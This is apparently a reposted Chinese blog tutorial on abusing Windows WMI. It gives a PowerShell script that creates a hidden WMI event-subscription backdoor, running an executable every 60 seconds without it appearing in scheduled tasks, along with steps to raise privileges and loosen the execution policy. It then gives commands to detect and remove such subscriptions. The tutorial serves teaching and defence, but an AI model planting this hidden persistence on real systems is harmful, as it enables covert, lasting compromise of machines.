WMI利用专题

WMI 的***,防御与取证分析技术之***篇:
http://drops.xmd5.com/static/drops/tips-9973.html
WMI 的***,防御与取证分析技术之防御篇
http://drops.xmd5.com/static/drops/tips-10346.html
wp-windows-management-instrumentation.pdf:
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
WMI backdoor:
http://bobao.360.cn/learning/detail/628.html
如何在系统日志中记录WMI Persistence:
http://www.4hou.com/technology/1860.html

(1)打开wmi服务
WMI利用专题
启动服务
WMI利用专题

win+R 输入 wmic
WMI利用专题

(2)编写一个powershell脚本,使用wmi隐藏一个定时任务
脚本内容如下:

$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\notepad.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=
$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=
$WMIEventFilter;Consumer=$WMIEventConsumer}

WMI利用专题

打开powershell
WMI利用专题

启动管理员权限:
Start-Process powershell -Verb runAs

WMI利用专题

打开执行脚本权限:
set-ExecutionPolicy RemoteSigned

WMI利用专题

运行结果:
WMI利用专题

进程监控结果:
WMI利用专题

脚本功能:
每60s执行一次notepad.exe

查看计划任务没有这个,达到隐藏效果:
WMI利用专题

0x04 WMI后门检测及清除 :

1、查看当前WMI Event

【管理员权限】

#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

WMI利用专题

2、清除后门

#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose

#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose

#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose

WMI利用专题

歇会。。。。。。。。。。。。更新中

转载于:https://blog.51cto.com/antivirusjo/2092545

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值